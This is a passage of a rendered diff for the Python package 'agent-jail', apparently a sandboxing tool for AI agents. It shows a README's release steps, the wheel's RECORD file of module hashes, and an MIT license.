git push origin ongoing
|
|
241
|
+
|
|
242
|
+
# 2. Merge into main and push (publishes release)
|
|
243
|
+
git checkout main
|
|
244
|
+
git merge ongoing
|
|
245
|
+
git push origin main
|
|
246
|
+
git checkout ongoing
|
|
247
|
+
|
|
248
|
+
# 3. Update your local machine
|
|
249
|
+
uv tool upgrade agent-jail
|
|
250
|
+
```
|
|
251
|
+
|
|
252
|
+
---
|
|
253
|
+
|
|
254
|
+
## License
|
|
255
|
+
|
|
256
|
+
[MIT](LICENSE)
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
agent_jail/__init__.py,sha256=kVFSI9zE4T5JCqD-gQZawZ6Wu7iC8OS_uwJV2E0-l_g,102
|
|
2
|
+
agent_jail/cli.py,sha256=E6gnRv3EuQqjvQqXDjlhnctqMQxnRPQ7k16NPc7zP2o,6795
|
|
3
|
+
agent_jail/config.py,sha256=-6noXskIWru-jAxl10d5MkwadnAvGg2EI2SJvUwr91A,8048
|
|
4
|
+
agent_jail/proxy.py,sha256=KkDXixf3EQ2WOd4hd9KLLnAqQJVCBJ0UzQehNnt4wio,11173
|
|
5
|
+
agent_jail/resources/__init__.py,sha256=FuMVIlI-930M9cWdv5xkyDxbPbP6oQ87imwCpJgBulg,38
|
|
6
|
+
agent_jail/resources/agent-jail.sb,sha256=81w0F_R8qFwsDw079wo1qqA_mN8nyw99YqGIfbbGI_8,4596
|
|
7
|
+
agent_jail/runners/__init__.py,sha256=EePXnYtRnfL7DKgWr_onbbzoeDa21Nk5kt62j95kO4g,667
|
|
8
|
+
agent_jail/runners/base.py,sha256=RFfWf18keK14TChymV85dK4aP-jTuZS4HKWcXn6m8pg,2284
|
|
9
|
+
agent_jail/runners/linux.py,sha256=Nhtq82gm3KPcR_nAvpz_ExyBDMWwB8wLscEGDKyh0YA,7465
|
|
10
|
+
agent_jail/runners/macos.py,sha256=ntHnXBgGYvbLFx4BSFc4L8nK1sxoWD3kw8HUInO-HMc,5907
|
|
11
|
+
agent_jail_cli-0.1.6.dist-info/METADATA,sha256=GthhkRzPg5zyQvBAFlPaQIXAJyU8BjH1Y2UoLUu0w18,11192
|
|
12
|
+
agent_jail_cli-0.1.6.dist-info/WHEEL,sha256=2iZrJkDIkeDh0k9SikKMqFuRP-ua6mb4Ir1AsER4BEw,87
|
|
13
|
+
agent_jail_cli-0.1.6.dist-info/entry_points.txt,sha256=FNWIcImVdbpkN5cJdlWWXr3gWHBeXPBY_GpRp1EmWN4,76
|
|
14
|
+
agent_jail_cli-0.1.6.dist-info/licenses/LICENSE,sha256=470TyW9qkvhSNZuM-P7M7L3ecuZ-QabdPIb_4dnMeNc,1062
|
|
15
|
+
agent_jail_cli-0.1.6.dist-info/RECORD,,
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 Ralph
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|